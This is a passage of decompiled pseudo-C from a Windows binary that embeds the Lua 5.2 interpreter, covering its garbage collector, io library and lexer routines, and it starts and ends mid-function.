v2->gckind; v4 = v2->gckind == 2 || v2->gcstate <= 1u; if ( isemergency ) { v2->gckind = 1; } else { v2->gckind = 0; callallpendingfinalizers(L, 1); } if ( v4 ) entersweep(L); luaC_runtilstate(L, 32); luaC_runtilstate(L, -33); luaC_runtilstate(L, 32); if ( v3 == 2 ) luaC_runtilstate(L, 1); v5 = -(v2->gcpause * (v2->totalbytes + v2->GCdebt) / 0xC8); v2->gckind = v3; luaE_setdebt(v2, v5); if ( !isemergency ) callallpendingfinalizers(L, 1); } //----- (005B5950) -------------------------------------------------------- void __cdecl luaC_changemode(lua_State *L, int mode) { global_State *v2; // esi@1 v2 = L->l_G; if ( mode != v2->gckind ) { if ( mode == 2 ) { luaC_runtilstate(L, 1); v2->GCestimate = v2->totalbytes + v2->GCdebt; v2->gckind = 2; } else { v2->gckind = 0; entersweep(L); luaC_runtilstate(L, -29); } } } //----- (005B59A0) -------------------------------------------------------- void __usercall generationalcollection(lua_State *L) { global_State *v1; // esi@1 unsigned int v2; // ebx@1 unsigned int v3; // ecx@2 v1 = L->l_G; v2 = v1->GCestimate; if ( v2 ) { luaC_runtilstate(L, -33); luaC_runtilstate(L, 32); v3 = v1->GCdebt + v1->totalbytes; if ( v3 > v1->gcmajorinc * v2 / 0x64 ) v1->GCestimate = 0; } else { luaC_fullgc(L, 0); v3 = v1->GCdebt + v1->totalbytes; v1->GCestimate = v3; } luaE_setdebt(v1, -(v1->gcpause * v3 / 0xC8)); } //----- (005B5A20) -------------------------------------------------------- void __cdecl luaC_forcestep(lua_State *L) { global_State *v1; // ebp@1 signed int i; // edi@4 v1 = L->l_G; if ( v1->gckind == 2 ) generationalcollection(L); else incstep(L); for ( i = 0; v1->tobefnz; ++i ) { if ( i >= 4 && v1->gcstate != 5 ) break; GCTM(L, 1); } } //----- (005B5A80) -------------------------------------------------------- void __cdecl luaC_step(lua_State *L) { global_State *v1; // eax@1 v1 = L->l_G; if ( v1->gcrunning ) luaC_forcestep(L); else luaE_setdebt(v1, -1600); } //----- (005B5AB0) -------------------------------------------------------- void __cdecl luaL_openlibs(lua_State *L) { int (__cdecl *v1)(lua_State *); // eax@1 luaL_Reg *i; // esi@1 v1 = openf; for ( i = loadedlibs; v1; ++i ) { luaL_requiref(L, i->name, v1, 1); lua_settop(L, -2); v1 = i[1].func; } luaL_getsubtable(L, -1001000, "_PRELOAD"); lua_settop(L, -2); } //----- (005B5B10) -------------------------------------------------------- int __cdecl io_type(lua_State *L) { void *v1; // eax@1 int result; // eax@2 luaL_checkany(L, 1); v1 = luaL_testudata(L, 1, "FILE*"); if ( v1 ) { if ( *((_DWORD *)v1 + 1) ) { lua_pushlstring(L, "file", 4u); result = 1; } else { lua_pushlstring(L, "closed file", 0xBu); result = 1; } } else { lua_pushnil(L); result = 1; } return result; } //----- (005B5B80) -------------------------------------------------------- int __cdecl f_tostring(lua_State *L) { int result; // eax@2 if ( *((_DWORD *)luaL_checkudata(L, 1, "FILE*") + 1) ) { lua_pushfstring(L, "file (%p)"); result = 1; } else { lua_pushlstring(L, "file (closed)", 0xDu); result = 1; } return result; } //----- (005B5BD0) -------------------------------------------------------- int __cdecl io_close(lua_State *L) { void *v1; // eax@5 int (__cdecl *v2)(_DWORD); // ecx@5 if ( lua_type(L, 1) == -1 ) lua_getfield(L, -1001000, "_IO_output"); if ( !*((_DWORD *)luaL_checkudata(L, 1, "FILE*") + 1) ) luaL_error(L, "attempt to use a closed file"); v1 = luaL_checkudata(L, 1, "FILE*"); v2 = (int (__cdecl *)(_DWORD))*((_DWORD *)v1 + 1); *((_DWORD *)v1 + 1) = 0; return v2(L); } //----- (005B5C40) -------------------------------------------------------- int __cdecl f_gc(lua_State *L) { void *v1; // eax@1 void *v2; // eax@3 void (__cdecl *v3)(_DWORD); // ecx@3 v1 = luaL_checkudata(L, 1, "FILE*"); if ( *((_DWORD *)v1 + 1) && *(_DWORD *)v1 ) { v2 = luaL_checkudata(L, 1, "FILE*"); v3 = (void (__cdecl *)(_DWORD))*((_DWORD *)v2 + 1); *((_DWORD *)v2 + 1) = 0; v3(L); } return 0; } //----- (005B5C90) -------------------------------------------------------- int __cdecl io_fclose(lua_State *L) { void *v1; // eax@1 int v2; // eax@1 v1 = luaL_checkudata(L, 1, "FILE*"); v2 = fclose(*(_iobuf **)v1); return luaL_fileresult(L, v2 == 0, 0); } //----- (005B5CC0) -------------------------------------------------------- void __usercall opencheck(lua_State *L, const char *fname, const char *mode) { void *v3; // esi@1 _iobuf *v4; // eax@1 int *v5; // eax@2 v3 = lua_newuserdata(L, 8u); *((_DWORD *)v3 + 1) = 0; luaL_setmetatable(L, "FILE*"); *(_DWORD *)v3 = 0; *((_DWORD *)v3 + 1) = io_fclose; v4 = fopen(fname, mode); *(_DWORD *)v3 = v4; if ( !v4 ) { v5 = _errno(); strerror(*v5); luaL_error(L, "cannot open file '%s' (%s)"); } } //----- (005B5D20) -------------------------------------------------------- int __cdecl io_open(lua_State *L) { const char *v1; // ebp@1 const char *v2; // ebx@1 void *v3; // esi@1 char *v4; // eax@2 signed int v5; // ecx@2 _iobuf *v6; // eax@8 int result; // eax@9 v1 = luaL_checklstring(L, 1, 0); v2 = luaL_optlstring(L, 2, "r", 0); v3 = lua_newuserdata(L, 8u); *((_DWORD *)v3 + 1) = 0; luaL_setmetatable(L, "FILE*"); *(_DWORD *)v3 = 0; *((_DWORD *)v3 + 1) = io_fclose; if ( !*v2 || (v4 = strchr("rwa", *v2), v5 = 1, !v4) ) goto LABEL_14; if ( v2[1] == 43 ) v5 = 2; if ( v2[v5] == 98 && (++v5, !v5) || v2[v5] ) LABEL_14: luaL_error(L, "invalid mode '%s' (should match '[rwa]%%+?b?')"); v6 = fopen(v1, v2); *(_DWORD *)v3 = v6; if ( v6 ) result = 1; else result = luaL_fileresult(L, 0, v1); return result; } //----- (005B5DF0) -------------------------------------------------------- int __cdecl io_pclose(lua_State *L) { void *v1; // eax@1 int v2; // eax@1 v1 = luaL_checkudata(L, 1, "FILE*"); v2 = _pclose(*(_iobuf **)v1); return luaL_execresult(L, v2); } //----- (005B5E20) -------------------------------------------------------- int __cdecl io_popen(lua_State *L) { const char *v1; // ebx@1 const char *v2; // ebp@1 void *v3; // edi@1 _iobuf *v4; // eax@1 int result; // eax@2 v1 = luaL_checklstring(L, 1, 0); v2 = luaL_optlstring(L, 2, "r", 0); v3 = lua_newuserdata(L, 8u); *((_DWORD *)v3 + 1) = 0; luaL_setmetatable(L, "FILE*"); v4 = _popen(v1, v2); *(_DWORD *)v3 = v4; *((_DWORD *)v3 + 1) = io_pclose; if ( v4 ) result = 1; else result = luaL_fileresult(L, 0, v1); return result; } //----- (005B5EA0) -------------------------------------------------------- int __cdecl io_tmpfile(lua_State *L) { void *v1; // esi@1 _iobuf *v2; // eax@1 int result; // eax@2 v1 = lua_newuserdata(L, 8u); *((_DWORD *)v1 + 1) = 0; luaL_setmetatable(L, "FILE*"); *(_DWORD *)v1 = 0; *((_DWORD *)v1 + 1) = io_fclose; v2 = tmpfile(); *(_DWORD *)v1 = v2; if ( v2 ) result = 1; else result = luaL_fileresult(L, 0, 0); return result; } //----- (005B5F00) -------------------------------------------------------- int __usercall g_iofile(lua_State *L, const char *f, const char *mode) { lua_State *v3; // edi@1 const char *v4; // eax@2 v3 = L; if ( lua_type(L, 1) > 0 ) { v4 = lua_tolstring(v3, 1, 0); if ( v4 ) { opencheck(v3, v4, mode); } else { if ( !*((_DWORD *)luaL_checkudata(v3, 1, "FILE*") + 1) ) luaL_error(v3, "attempt to use a closed file"); lua_pushvalue(v3, 1); } lua_setfield(v3, -1001000, f); } lua_getfield(v3, -1001000, f); return 1; } //----- (005B5F90) -------------------------------------------------------- int __cdecl io_input(lua_State *L) { return g_iofile(L, "_IO_input", "r"); } //----- (005B5FB0) -------------------------------------------------------- int __cdecl io_output(lua_State *L) { return g_iofile(L, "_IO_output", "w"); } //----- (005B5FD0) -------------------------------------------------------- int __usercall read_number(lua_State *L, _iobuf *f) { int result; // eax@2 long double d; // [sp+8h] [bp-8h]@2 if ( fscanf(f, "%lf") == 1 ) { lua_pushnumber(L, d); result = 1; } else { lua_pushnil(L); result = 0; } return result; } //----- (005B6020) -------------------------------------------------------- int __usercall read_line(_iobuf *f, lua_State *L, int chop) { char *v3; // esi@1 unsigned int v4; // eax@2 int result; // eax@5 char b; // [sp+8h] [bp-214h]@1 int v7; // [sp+10h] [bp-20Ch]@4 unsigned int v8; // [sp+218h] [bp-4h]@1 v8 = (unsigned int)&b ^ __security_cookie; luaL_buffinit(L, (luaL_Buffer *)&b); v3 = luaL_prepbuffsize((luaL_Buffer *)&b, 0x200u); if ( fgets(v3, 512, f) ) { while ( 1 ) { v4 = strlen(v3); if ( v4 ) { if ( v3[v4 - 1] == 10 ) break; } v7 += v4; v3 = luaL_prepbuffsize((luaL_Buffer *)&b, 0x200u); if ( !fgets(v3, 512, f) ) goto LABEL_5; } v7 += v4 - chop; luaL_pushresult((luaL_Buffer *)&b); result = 1; } else { LABEL_5: luaL_pushresult((luaL_Buffer *)&b); result = lua_rawlen(L, -1) > 0; } return result; } //----- (005B6120) -------------------------------------------------------- void __usercall read_all(_iobuf *f, lua_State *L) { unsigned int v2; // esi@1 void *v3; // eax@1 unsigned int v4; // eax@1 void *v5; // eax@4 unsigned int v6; // eax@4 char b; // [sp+4h] [bp-214h]@1 int v8; // [sp+Ch] [bp-20Ch]@1 unsigned int v9; // [sp+214h] [bp-4h]@1 v9 = (unsigned int)&b ^ __security_cookie; v2 = 512; luaL_buffinit(L, (luaL_Buffer *)&b); v3 = luaL_prepbuffsize((luaL_Buffer *)&b, 0x200u); v4 = fread(v3, 1u, 0x200u, f); v8 += v4; if ( v4 >= 0x200 ) { do { if ( v2 <= 0x3FFFFFFF ) v2 *= 2; v5 = luaL_prepbuffsize((luaL_Buffer *)&b, v2); v6 = fread(v5, 1u, v2, f); v8 += v6; } while ( v6 >= v2 ); } luaL_pushresult((luaL_Buffer *)&b); } //----- (005B61D0) -------------------------------------------------------- int __usercall read_chars(_iobuf *f, unsigned int n, lua_State *L) { unsigned int v3; // esi@1 void *v4; // eax@1 unsigned int v5; // eax@1 unsigned int v6; // esi@1 char b; // [sp+4h] [bp-214h]@1 int v9; // [sp+Ch] [bp-20Ch]@1 unsigned int v10; // [sp+214h] [bp-4h]@1 v3 = n; v10 = (unsigned int)&b ^ __security_cookie; luaL_buffinit(L, (luaL_Buffer *)&b); v4 = luaL_prepbuffsize((luaL_Buffer *)&b, v3); v5 = fread(v4, 1u, v3, f); v6 = v5; v9 += v5; luaL_pushresult((luaL_Buffer *)&b); return v6 > 0; } //----- (005B6250) -------------------------------------------------------- int __usercall g_read(lua_State *L, _iobuf *f, int first) { lua_State *v3; // esi@1 _iobuf *v4; // edi@1 int v5; // ebx@1 signed int v6; // eax@2 int v7; // ebp@2 int result; // eax@4 int v9; // eax@8 int v10; // ebx@9 const char *v11; // eax@11 int nargs; // [sp+10h] [bp-4h]@6 v3 = L; v4 = f; v5 = lua_gettop(L) - 1; clearerr(v4); if ( v5 ) { luaL_checkstack(v3, v5 + 20, "too many arguments"); v7 = first; v6 = 1; do { nargs = v5 - 1; if ( !v6 ) break; if ( lua_type(v3, v7) == 3 ) { v9 = lua_tointegerx(v3, v7, 0); if ( v9 ) { v6 = read_chars(v3, v4, v9); } else { v10 = getc(v4); ungetc(v10, v4); lua_pushlstring(v3, 0, 0); v6 = v10 != -1; } } else { v11 = lua_tolstring(v3, v7, 0); if ( !v11 || *v11 != 42 ) luaL_argerror(v3, v7, "invalid option"); switch ( v11[1] ) { case 110: v6 = read_number(v3, v4); break; case 108: v6 = read_line(v3, v4, 1); break; case 76: v6 = read_line(v3, v4, 0); break; case 97: read_all(v3, v4); v6 = 1; break; default: luaL_argerror(v3, v7, "invalid format"); return result; } } v5 = nargs; ++v7; } while ( nargs ); } else { v6 = read_line(v3, v4, 1); v7 = first + 1; } if ( v4->_flag & 0x20 ) { result = luaL_fileresult(v3, 0, 0); } else { if ( !v6 ) { lua_settop(v3, -2); lua_pushnil(v3); } result = v7 - first; } return result; } //----- (005B6400) -------------------------------------------------------- int __cdecl io_read(lua_State *L) { void *v1; // edi@1 lua_getfield(L, -1001000, "_IO_input"); v1 = lua_touserdata(L, -1); if ( !*((_DWORD *)v1 + 1) ) luaL_error(L, "standard %s file is closed"); return g_read(L, *(_iobuf **)v1, 1); } //----- (005B6450) -------------------------------------------------------- int __cdecl f_read(lua_State *L) { void *v1; // esi@1 v1 = luaL_checkudata(L, 1, "FILE*"); if ( !*((_DWORD *)v1 + 1) ) luaL_error(L, "attempt to use a closed file"); return g_read(L, *(_iobuf **)v1, 2); } //----- (005B6490) -------------------------------------------------------- int __cdecl io_readline(lua_State *L) { void *v1; // ebp@1 int v2; // ebx@1 signed int v3; // edi@4 signed int v4; // edi@6 int result; // eax@7 void *v6; // eax@12 void (__cdecl *v7)(_DWORD); // ecx@12 v1 = lua_touserdata(L, -1001001); v2 = lua_tointegerx(L, -1001002, 0); if ( !*((_DWORD *)v1 + 1) ) luaL_error(L, "file is already closed"); lua_settop(L, 1); if ( v2 >= 1 ) { v3 = -1001004; do { lua_pushvalue(L, v3--); --v2; } while ( v2 ); } v4 = g_read(L, *(_iobuf **)v1, 2); if ( lua_type(L, -v4) ) { result = v4; } else { if ( v4 > 1 ) { lua_tolstring(L, 1 - v4, 0); luaL_error(L, "%s"); } if ( lua_toboolean(L, -1001003) ) { lua_settop(L, 0); lua_pushvalue(L, -1001001); v6 = luaL_checkudata(L, 1, "FILE*"); v7 = (void (__cdecl *)(_DWORD))*((_DWORD *)v6 + 1); *((_DWORD *)v6 + 1) = 0; v7(L); } result = 0; } return result; } //----- (005B6590) -------------------------------------------------------- int __usercall g_write(lua_State *L, int arg, _iobuf *f) { int v3; // edi@1 int v4; // eax@1 signed int v5; // esi@1 const void *v7; // eax@10 unsigned int v8; // eax@11 lua_State *v9; // [sp+4h] [bp-14h]@0 size_t l; // [sp+10h] [bp-8h]@10 int v11; // [sp+14h] [bp-4h]@2 v3 = arg; v4 = lua_gettop(v9) - arg; v5 = 1; if ( !v4 ) return 1; v11 = v4; do { if ( lua_type(L, v3) == 3 ) { if ( !v5 || (lua_tonumberx(L, v3, 0), fprintf(f, "%.14g") <= 0) ) goto LABEL_6; } else { v7 = luaL_checklstring(L, v3, &l); if ( !v5 || (v8 = fwrite(v7, 1u, l, f), v8 != l) ) { LABEL_6: v5 = 0; goto LABEL_7; } } v5 = 1; LABEL_7: ++v3; --v11; } while ( v11 ); if ( v5 ) return 1; return luaL_fileresult(L, 0, 0); } //----- (005B6660) -------------------------------------------------------- int __cdecl io_write(lua_State *L) { void *v1; // esi@1 lua_getfield(L, -1001000, "_IO_output"); v1 = lua_touserdata(L, -1); if ( !*((_DWORD *)v1 + 1) ) luaL_error(L, "standard %s file is closed"); return g_write(L, *(_iobuf **)v1, 1); } //----- (005B66B0) -------------------------------------------------------- int __cdecl f_write(lua_State *L) { void *v1; // esi@1 _iobuf *v2; // esi@3 v1 = luaL_checkudata(L, 1, "FILE*"); if ( !*((_DWORD *)v1 + 1) ) luaL_error(L, "attempt to use a closed file"); v2 = *(_iobuf **)v1; lua_pushvalue(L, 1); return g_write(L, v2, 2); } //----- (005B6700) -------------------------------------------------------- int __cdecl f_seek(lua_State *L) { void *v1; // edi@1 _iobuf *v2; // edi@3 int v3; // ebx@3 long double v4; // st7@3 int v5; // ebp@3 int result; // eax@6 int v7; // ST20_4@7 v1 = luaL_checkudata(L, 1, "FILE*"); if ( !*((_DWORD *)v1 + 1) ) luaL_error(L, "attempt to use a closed file"); v2 = *(_iobuf **)v1; v3 = luaL_checkoption(L, 2, "cur", modenames); v4 = luaL_optnumber(L, 3, 0.0); v5 = (unsigned __int64)v4; if ( v4 != (double)v5 ) luaL_argerror(L, 3, "not an integer in proper range"); if ( fseek(v2, v5, mode[v3]) ) { result = luaL_fileresult(L, 0, 0); } else { v7 = ftell(v2); lua_pushnumber(L, (double)v7); result = 1; } return result; } // 5B6700: could not find valid save-restore pair for ebx // 5B6700: could not find valid save-restore pair for ebp //----- (005B67E0) -------------------------------------------------------- int __cdecl f_setvbuf(lua_State *L) { void *v1; // edi@1 _iobuf *v2; // edi@3 int v3; // ebx@3 int v4; // eax@3 int v5; // eax@3 v1 = luaL_checkudata(L, 1, "FILE*"); if ( !*((_DWORD *)v1 + 1) ) luaL_error(L, "attempt to use a closed file"); v2 = *(_iobuf **)v1; v3 = luaL_checkoption(L, 2, 0, modenames_0); v4 = luaL_optinteger(L, 3, 512); v5 = setvbuf(v2, 0, mode_0[v3], v4); return luaL_fileresult(L, v5 == 0, 0); } //----- (005B6860) -------------------------------------------------------- int __cdecl io_flush(lua_State *L) { void *v1; // edi@1 int v2; // eax@3 lua_getfield(L, -1001000, "_IO_output"); v1 = lua_touserdata(L, -1); if ( !*((_DWORD *)v1 + 1) ) luaL_error(L, "standard %s file is closed"); v2 = fflush(*(_iobuf **)v1); return luaL_fileresult(L, v2 == 0, 0); } //----- (005B68C0) -------------------------------------------------------- int __cdecl f_flush(lua_State *L) { void *v1; // esi@1 int v2; // eax@3 v1 = luaL_checkudata(L, 1, "FILE*"); if ( !*((_DWORD *)v1 + 1) ) luaL_error(L, "attempt to use a closed file"); v2 = fflush(*(_iobuf **)v1); return luaL_fileresult(L, v2 == 0, 0); } //----- (005B6910) -------------------------------------------------------- int __cdecl io_noclose(lua_State *L) { *((_DWORD *)luaL_checkudata(L, 1, "FILE*") + 1) = io_noclose; lua_pushnil(L); lua_pushlstring(L, "cannot close standard file", 0x1Au); return 2; } //----- (005B6950) -------------------------------------------------------- void __usercall createstdfile(lua_State *L, const char *k, _iobuf *f, const char *fname) { void *v4; // esi@1 v4 = lua_newuserdata(L, 8u); *((_DWORD *)v4 + 1) = 0; luaL_setmetatable(L, "FILE*"); *(_DWORD *)v4 = f; *((_DWORD *)v4 + 1) = io_noclose; if ( k ) { lua_pushvalue(L, -1); lua_setfield(L, -1001000, k); } lua_setfield(L, -2, fname); } //----- (005B69B0) -------------------------------------------------------- int __cdecl luaopen_io(lua_State *L) { void *v1; // eax@1 void *v2; // esi@1 void *v3; // eax@1 void *v4; // esi@1 lua_createtable(L, 0, 11); luaL_setfuncs(L, &iolib, 0); luaL_newmetatable(L, "FILE*"); lua_pushvalue(L, -1); lua_setfield(L, -2, "__index"); luaL_setfuncs(L, &flib, 0); lua_settop(L, -2); v1 = lua_newuserdata(L, 8u); v2 = v1; *((_DWORD *)v1 + 1) = 0; luaL_setmetatable(L, "FILE*"); *(_DWORD *)v2 = &_iob; *((_DWORD *)v2 + 1) = io_noclose; lua_pushvalue(L, -1); lua_setfield(L, -1001000, "_IO_input"); lua_setfield(L, -2, "stdin"); createstdfile(L, &unk_6B7278, "_IO_output", "stdout"); v3 = lua_newuserdata(L, 8u); v4 = v3; *((_DWORD *)v3 + 1) = 0; luaL_setmetatable(L, "FILE*"); *(_DWORD *)v4 = &unk_6B7298; *((_DWORD *)v4 + 1) = io_noclose; lua_setfield(L, -2, "stderr"); return 1; } //----- (005B6AB0) -------------------------------------------------------- void __usercall aux_lines(lua_State *L, int toclose) { int v2; // esi@1 signed int v3; // eax@3 int v4; // ebx@4 lua_State *v5; // [sp+0h] [bp-8h]@0 v2 = lua_gettop(v5) - 1; if ( v2 > 17 ) luaL_argerror(L, 17, "too many options"); lua_pushvalue(L, 1); lua_pushinteger(L, v2); lua_pushboolean(L, toclose); v3 = 1; if ( v2 >= 1 ) { do { v4 = v3 + 1; lua_pushvalue(L, v3 + 1); v3 = v4; } while ( v4 <= v2 ); } lua_pushcclosure(L, io_readline, v2 + 3); } //----- (005B6B30) -------------------------------------------------------- int __cdecl f_lines(lua_State *L) { if ( !*((_DWORD *)luaL_checkudata(L, 1, "FILE*") + 1) ) luaL_error(L, "attempt to use a closed file"); aux_lines(L, 0); return 1; } //----- (005B6B70) -------------------------------------------------------- int __cdecl io_lines(lua_State *L) { int result; // eax@6 const char *v2; // eax@7 if ( lua_type(L, 1) == -1 ) lua_pushnil(L); if ( lua_type(L, 1) ) { v2 = luaL_checklstring(L, 1, 0); opencheck(L, v2, "r"); lua_replace(L, 1); aux_lines(L, 1); result = 1; } else { lua_getfield(L, -1001000, "_IO_input"); lua_replace(L, 1); if ( !*((_DWORD *)luaL_checkudata(L, 1, "FILE*") + 1) ) luaL_error(L, "attempt to use a closed file"); aux_lines(L, 0); result = 1; } return result; } //----- (005B6C30) -------------------------------------------------------- void __usercall save(LexState *ls, int c) { Mbuffer *v2; // esi@1 unsigned int v3; // eax@1 int v4; // edi@4 v2 = ls->buff; v3 = v2->buffsize; if ( v2->n + 1 > v3 ) { if ( v3 >= 0x7FFFFFFE ) lexerror(ls, "lexical element too long", 0); v4 = 2 * v3; if ( 2 * v3 + 1 > 0xFFFFFFFD ) luaM_toobig(ls->L); v2->buffer = (char *)luaM_realloc_(ls->L, v2->buffer, v3, 2 * v3); v2->buffsize = v4; } v2->buffer[v2->n++] = c; } //----- (005B6CA0) -------------------------------------------------------- void __cdecl luaX_init(lua_State *L) { signed int v1; // ebx@1 TString *v2; // eax@2 v1 = 0; do { v2 = luaS_new(L, luaX_tokens[v1]); BYTE5(v2->dummy.u) |= 0x20u; ++v1; BYTE6(v2->dummy.u) = v1; } while ( v1 < 22 ); } //----- (005B6CE0) -------------------------------------------------------- const char *__cdecl luaX_token2str(LexState *ls, int token) { const char *result; // eax@3 if ( token >= 257 ) { result = *(const char **)&aBinary[4 * token]; if ( token < 286 ) result = luaO_pushfstring(ls->L, "'%s'"); } else { if ( byte_680949[token] & 4 ) result = luaO_pushfstring(ls->L, "'%c'"); else result = luaO_pushfstring(ls->L, "char(%d)"); } return result; } //----- (005B6D50) -------------------------------------------------------- void __cdecl lexerror(LexState *ls, const char *msg, int token) { char buff[60]; // [sp+8h] [bp-3Ch]@1 luaO_chunkid(buff, (const char *)&ls->source[1], 0x3Cu); luaO_pushfstring(ls->L, "%s:%d: %s"); if ( token ) { if ( token < 287 || token > 289 ) { luaX_token2str(ls, token); } else { save(ls, 0); luaO_pushfstring(ls->L, "'%s'"); } luaO_pushfstring(ls->L, "%s near %s"); } luaD_throw(ls->L, 3); } //----- (005B6DF0) -------------------------------------------------------- void __cdecl luaX_syntaxerror(LexState *ls, const char *msg) { lexerror(ls, msg, ls->t.token); } //----- (005B6E10) -------------------------------------------------------- TString *__cdecl luaX_newstring(LexState *ls, const char *str, unsigned int l) { lua_State *v3; // esi@1 TString *v4; // edi@1 lua_TValue *v5; // eax@1 lua_TValue *v6; // eax@1 v3 = ls->L; v4 = luaS_newlstr(ls->L, str, l); v5 = v3->top; v3->top = v5 + 1; v5->u.i.v__.gc = (GCObject *)v4; v5->u.i.tt__ = BYTE4(v4->dummy.u) | 0x7FF7A540; v6 = luaH_set(v3, ls->fs->h, v3->top - 1); if ( v6->u.i.tt__ == 2146936064 ) { v6->u.i.v__.gc = (GCObject *)1; v6->u.i.tt__ = 2146936065; if ( v3->l_G->GCdebt > 0 ) luaC_step(v3); } --v3->top; return v4; } //----- (005B6E90) -------------------------------------------------------- void __usercall inclinenumber(LexState *ls) { Zio *v1; // eax@1 bool v2; // zf@1 int v3; // edi@1 Zio *v4; // ecx@2 const char *v5; // edx@2 int v6; // eax@2 Zio *v7; // eax@7 Zio *v8; // ecx@8 const char *v9; // edx@8 int v10; // eax@8 int v11; // eax@11 bool v12; // sf@11 v1 = ls->z; v2 = v1->n == 0; v3 = ls->current; --v1->n; if ( v2 ) { v6 = luaZ_fill(ls->z); } else { v4 = ls->z; v5 = v4->p; v6 = (unsigned __int8)*v5; v4->p = v5 + 1; } ls->current = v6; if ( (v6 == 10 || v6 == 13) && v6 != v3 ) { v7 = ls->z; v2 = v7->n-- == 0; if ( v2 ) { v10 = luaZ_fill(ls->z); } else { v8 = ls->z; v9 = v8->p; v10 = (unsigned __int8)*v9; v8->p = v9 + 1; } ls->current = v10; } v11 = ls->linenumber + 1; v12 = ls->linenumber - 2147483644 < 0; ls->linenumber = v11; if ( !(v12 ^ __OFSUB__(v11, 2147483645)) ) lexerror(ls, "chunk has too many lines", ls->t.token); } //----- (005B6F20) -------------------------------------------------------- void __cdecl luaX_setinput(lua_State *L, LexState *ls, Zio *z, TString *source, int firstchar) { TString *v5; // eax@1 ls->current = firstchar; ls->linenumber = 1; ls->lastline = 1; ls->decpoint = 46; ls->L = L; ls->lookahead.token = 286; ls->z = z; ls->fs = 0; ls->source = source; v5 = luaS_new(L, "_ENV"); ls->envn = v5; BYTE5(v5->dummy.u) |= 0x20u; ls->buff->buffer = (char *)luaM_realloc_(ls->L, ls->buff->buffer, ls->buff->buffsize, 0x20u); ls->buff->buffsize = 32; } //----- (005B6FA0) -------------------------------------------------------- int __usercall check_next(LexState *ls, const char *set) { Zio *v2; // eax@3 bool v3; // zf@3 Zio *v4; // ecx@4 const char *v5; // edx@4 int v6; // eax@4 int result; // eax@4 if ( ls->current && strchr(set, ls->current) ) { save(ls, ls->current); v2 = ls->z; v3 = v2->n-- == 0; if ( v3 ) { ls->current = luaZ_fill(ls->z); result = 1; } else { v4 = ls->z; v5 = v4->p; v6 = (unsigned __int8)*v5; v4->p = v5 + 1; ls->current = v6; result = 1; } } else { result = 0; } return result; } //----- (005B7000) -------------------------------------------------------- void __usercall trydecpoint(LexState *ls, SemInfo *seminfo) { char v2; // bl@1 char v3; // dl@1 Mbuffer *v4; // ecx@1 unsigned int v5; // eax@1 char *v6; // edi@1 char v7; // cl@2 Mbuffer *v8; // ecx@6 unsigned int v9; // eax@6 char v10; // dl@6 char *v11; // ecx@6 char v12; // bl@7 v2 = ls->decpoint; v3 = *localeconv()->decimal_point; v4 = ls->buff; ls->decpoint = v3; v5 = v4->n; v6 = v4->buffer; while ( v5 ) { v7 = v6[v5-- - 1]; if ( v7 == v2 ) v6[v5] = v3; } if ( !luaO_str2d(ls->buff->buffer, ls->buff->n - 1, &seminfo->r) ) { v8 = ls->buff; v9 = v8->n; v10 = ls->decpoint; v11 = v8->buffer; while ( v9 ) { v12 = v11[v9-- - 1]; if ( v12 == v10 ) v11[v9] = 46; } lexerror(ls, "malformed number", 287); } } //----- (005B7090) -------------------------------------------------------- void __usercall read_numeral(LexState *ls, SemInfo *seminfo) { LexState *v2; // esi@1 int v3; // edi@1 Zio *v4; // eax@1 bool v5; // zf@1 Zio *v6; // ecx@2 int *v7; // edx@2 int v8; // eax@2 Zio *v9; // eax@9 Zio *v10; // ecx@10 int *v11; // edx@10 int v12; // eax@10 Zio *v13; // eax@14 Zio *v14; // ecx@15 int *v15; // edx@15 int v16; // eax@15 int v17; // ebx@18 Mbuffer *v18; // edi@20 unsigned int v19; // eax@20 int v20; // ebp@22 Zio *v21; // eax@24 Zio *v22; // ecx@25 const char *v23; // edx@25 int v24; // eax@25 Mbuffer *v25; // ecx@27 unsigned int v26; // eax@27 char v27; // dl@27 char *v28; // ecx@27 char v29; // bl@28 const char *expo; // [sp+10h] [bp-4h]@1 v2 = ls; v3 = ls->current; expo = "Ee"; save(ls, ls->current); v4 = v2->z; v5 = v4->n-- == 0; if ( v5 ) { v8 = luaZ_fill(v2->z); } else { v6 = v2->z; v7 = (int *)v6->p; v8 = *(_BYTE *)v7; v6->p = (char *)v7 + 1; } v2->current = v8; if ( v3 == 48 && check_next(v2, "Xx") ) expo = "Pp"; while ( 1 ) { if ( v2->current && strchr(expo, v2->current) ) { save(v2, v2->current); v9 = v2->z; v5 = v9->n-- == 0; if ( v5 ) { v12 = luaZ_fill(v2->z); } else { v10 = v2->z; v11 = (int *)v10->p; v12 = *(_BYTE *)v11; v10->p = (char *)v11 + 1; } v2->current = v12; if ( v12 ) { if ( strchr("+-", v12) ) { save(v2, v2->current); v13 = v2->z; v5 = v13->n-- == 0; if ( v5 ) { v16 = luaZ_fill(v2->z); } else { v14 = v2->z; v15 = (int *)v14->p; v16 = *(_BYTE *)v15; v14->p = (char *)v15 + 1; } v2->current = v16; } } } v17 = v2->current; if ( !(byte_680949[v2->current] & 0x10) ) { if ( v17 != 46 ) break; } v18 = v2->buff; v19 = v18->buffsize; if ( v18->n + 1 > v19 ) { if ( v19 >= 0x7FFFFFFE ) lexerror(v2, "lexical element too long", 0); v20 = 2 * v19; if ( 2 * v19 + 1 > 0xFFFFFFFD ) luaM_toobig(v2->L); v18->buffer = (char *)luaM_realloc_(v2->L, v18->buffer, v19, 2 * v19); v18->buffsize = v20; } v18->buffer[v18->n++] = v17; v21 = v2->z; v5 = v21->n-- == 0; if ( v5 ) { v2->current = luaZ_fill(v2->z); } else { v22 = v2->z; v23 = v22->p; v24 = (unsigned __int8)*v23; v22->p = v23 + 1; v2->current = v24; } } save(v2, 0); v25 = v2->buff; v26 = v25->n; v27 = v2->decpoint; v28 = v25->buffer; while ( v26 ) { v29 = v28[v26-- - 1]; if ( v29 == 46 ) v28[v26] = v27; } if ( !luaO_str2d(v2->buff->buffer, v2->buff->n - 1, &seminfo->r) ) trydecpoint(v2, seminfo); } //----- (005B72A0) -------------------------------------------------------- int __usercall skip_sep(LexState *ls) { int v1; // esi@1 Zio *v2; // eax@1 bool v3; // zf@1 Zio *v4; // ecx@2 const char *v5; // edx@2 int v6; // eax@2 Mbuffer *v7; // esi@5 unsigned int v8; // eax@5 int v9; // ebx@5 int v10; // ebp@7 Zio *v11; // eax@9 Zio *v12; // ecx@10 const char *v13; // edx@10 int v14; // eax@10 int result; // eax@15 int count; // [sp+10h] [bp-8h]@1 int v17; // [sp+14h] [bp-4h]@1 v1 = ls->current; count = 0; v17 = ls->current; save(ls, ls->current); v2 = ls->z; v3 = v2->n-- == 0; if ( v3 ) { v6 = 